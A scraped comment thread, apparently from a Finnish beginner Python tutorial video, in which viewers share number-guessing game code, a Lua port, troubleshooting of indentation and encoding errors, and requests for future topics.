print("Arvasit oikein!")
peli = False
jee lisää tätä oon odottanut
voikko laittaa ton koodin desciin koska mulla ei toimi toi se vaa sanoo loputtomasti jotain "syötä arvauksesi"
Siinä tapauksessa suosittelen vertailemaan koodeja ja miettimään mistä ongelma tulee ja miten se korjataan. Paras mahdollinen tapa oppia!
kiitti opin ihan sairaasti uutta
Ite tein toho viel semmosen et voit kirjoittaa Jatka pelin jälkeen niin peli jatkuu ja aina ku oot voittanut nii jos kirjoitat jotain muuta kuin jatka nii peli sammuu.
ei toimi se nappi joka pelin pyörimään
Opeta stringit ja variableja lisää
Lisää koodaamista vaikka jotain vaikempaa kun ite tykkään koodaa
Oisiko pian uuden videon aika. Itse olen menossa ict:lle
Muokkasin sitä silleen että se vielä jatkuu
Mitenn??
Mulla on semmone ongelma tuossa pythonissa että ku laittaa ä:n tai ö:n niin sitte ku painaa playtä niin se ei tunnista niitä. Tullee vaa jottai ihme merkkejä niitten tilalle.
Toivottavasti joku osais auttaa. Ei siitä ainakkaa vielä mittää ongelmia oo ollu mutta vähä turhan häirihtevä.
Tältä sivulta löytyy infoa miten tuo korjataan, tähän suoraan koodin kopioiminen tuotti ongelmia :D
www.ohjelmointiputka.net/oppaat/opas.php?tunnus=python_l2
@@MKVD Jahas. Kiitoksia tuosta linkistä. Pittääpä koittaa tuon avulla selevittää asia🤔👍
Kuinka moni teki tän
Voisko joku kertoa mitä ohjelmointi on, koska en ole varma. PS ei ole jekku vaan en oikeasti tiedä tarkalleen.
ohjelmointi tarkoittaaa vaikka sitä että kerrot koneeelle mitä sen pitää tehdä ja ohjelmoinnilla voidaan myös tarkoittaa pelin tekemistä riippuu vähän.
Koitin soveltaa tätä ns tekstiseikkailuun, mutta joku kusee....
kysymys = input("Haluatko blablabla? (kyllä/ei: ")
if kysymys == "kyllä":
game = True
print("blablabal!")
else:
print("blablabla!")
while game == True:
k1 = input("balblbabla? (kyllä/en: ")
if k1 == "kyllä":
print("Tämä rivi antaa erroria, jota en jostain syystä ymmärrä.")
print("Mikä auttaisi?")
if k1 == "en":
print("Ja nää sun videot on mahtavia, jopa vanhempi konkari innostuu vielä!")
print("Minä: Miksi tästä ei tuu mitään?!?!")
Tossa koodin pätkä joka kusee. Toki teksti muutettu print komennoista enemmän lapsille sopivaksi :D
Tarkista, että kaikki sulkeet myös suljetaan! Jos inputin "ohjetekstissä" on sulkeet, täytyy pitää huolta että itse komentokin suljetaan.
Input("esimerkki (tämä pitää sulkea erikseen komennosta)")
@@MKVD Ongelma oli tuossa if k1== "kyllä"
print kohdassa.
print komennot eivät olleet oikeassa paikassa vaan omia rivejään :D Hetki meni selvittäessä, mutta kiitokset!
Innolla odotan lisää opettavaisia videoita!
Esimerkiksi tuollainen pieni tekstiseikkailu muutamalla valinnaisella vaihtoehdolla olisi hieno opetus.
Itse tuskailen koodissa nyt sen kanssa miten saan koodin jatkamaan tiettyä polkua.
Esim jos koodissa on kohta missä on vaihtoehsot kyllä tai ei ja molemmat vastaukset vievät peliä eri suuntiin.
Ja myös miten siitä päästään jatkamaan samaan kohtaan myöhemmin oli vastaus kumpi tahansa.
Sekava selitys,. mutta toivottavasti ymmärsit ja kauhean koodaus opettelun kuumeen aiheutit :D
joku mobiili peli ois kiva
tästä vidistä oli oikeesti tosi paljon apua
Koodaa seuraavaksi Vaikka #pong
mä tein ihan samalla tavalla mut se ei toiminu...
mä en saanu kirjotettua siihen kohtaa mihnä oli se "syötä arvauksesi"
kaiken tein täysin samoin ja tarkistinki viä mut ei toimi
Mun koodi rivit:
from random import randint
vastaus = randint(0,100)
peli = False
print("*" * 20)
print("Tervetuloa pelaamaan!")
print("*" * 20)
kysymys = input("haluatko pelata? (kyllä/ei): ")
if kysymys == "kyllä":
peli = True
print("aloitetaan peli!")
print("Arvaa oikea luku!")
else:
print("Nähdään pian!")
while peli == True:
arvaus = int(input("Syötä arvauksesi: "))
if arvaus < vastaus:
print("Oikea vastaus on suurempi")
elif arvaus > vastaus:
print("Oikea vastaus on pienempi")
else:
print("Arvasit oikein")
peli = False
Kokeilin kirjoittamaasi koodia ja se toimii niinkuin pitääkin. Tarkista vielä, että scriptin loppupuolella alkava while loop on samalla tasolla kuin ylempänä olevat if ja else statementit. Nyt näyttää siltä että while looppisi olisi sisennettynä.
Osaaks opettaa .lua koodia osaan sitä hieman mutta en kaikkea niin että joo
Auttaa paljon
Moi kaikki
muuten hyvä mutta tolkuttomasti liikaa mainoksia
lol mun koko kodi on paskana
from random import randint
vastaus = randint(0,100)
peli = False
print(vastaus)
print("*" * 20)
print(Tervetuloa pelaamaan peliä)
print("*" * 20)
kysymys = input("Haluatko pelata? (Kyllä/Ei) ")
if kysymys == "kyllä":
peli = True
print("Aloitetaan peli")
print("Arvaa numero")
else:
print("Miksi :(")
while peli == True:
arvaus = input("Syötä arvauksesi: ")
if arvaus < vastaus:
print(Oikea vastaus on suurempi!)
elif arvaus > vastaus:
print("Oikea vastaus on pienempi!")
else:
print("Arvasit oikein!")
from random import randint
vastaus = randint(0,100)
peli = False
print("*" * 20)
print("Tervetuola pelaamaan")
print("*" * 20)
kysymys = input("Haluatko aloittaa pelin? (kyllä/ei): ")
if kysymys == "kyllä":
peli = True
print("Aloitetaaan peli!")
print("Arvaa oikea luku!")
else:
print("Nähdään pian!")
while peli == True:
arvaus = input("Syötä arvauksesi: ")
if arvaus < vastaus:
print("Oikea vastaus on suurempi!")
elif arvaus > vastaus:
print("Oikea vastaus on pienempi!")
else:
print("Arvasit oikein!")
peli = False
MIKS TÄÄ EI TOIMI SE SANOO TOLLE:
IndentationError: expected an indented block
MIKS TOI EI TOIMINU
while peli == True: -lohko on sisennetty väärin
Juu huomasin ja siel oli joku muukin juttu väärin nyt toimii hyvin laitoin että se arpoo numeron 0-500
Kiitos näistä hyvistä videoista
Tee unity opetus video
Tää on parasta
.
Nice!
Tein kaikki oikein mut en saanu toimimaan
mitä siinä tulee? tai lähetä koodi niin korjaan sen.
Teknoo
Moi
Tee discord bot
Varmaan turhan hankala kolmannen jakson aiheeksi, mutta itseäni kiinostaisi tietää miten ohjelmoidaan AI.
No se on sit vähä haastavampi homma
Sitä ei ohjelmoida, se opetetaan.
Okhe***
miksi
öö ei tää oo fortnite
Hyvä video ,mutta mulla kaatuu homma, tulee tämä herja>>> reportUndefinedVariable Diagnostics for undefined variables.
Sama lua koodilla:
math.randomseed(os.time())
numeroa = math.random(1,100)
pelaaja = {}
pelaaja.arvaus = 0
local Peli = false
print("tervetuloa!")
io.write('Haluatko pelata? (ok)')
kysymys = io.read()
if kysymys == "ok" then
Peli = true
print("Peli aloitetaan ")
else
print("ei sit vittu ")
end
while Peli do
print("Arvaa numero: ")
pelaaja.vastaus = io.read()
pelaaja.arvaus = tonumber(pelaaja.vastaus)
if ( pelaaja.arvaus > numeroa ) then
print("Arvauksesi on liian iso")
elseif ( pelaaja.arvaus < numeroa) then
print("Arvauksesi on liian pieni")
else
print("Oikein!")
os.exit()
end
end
miksi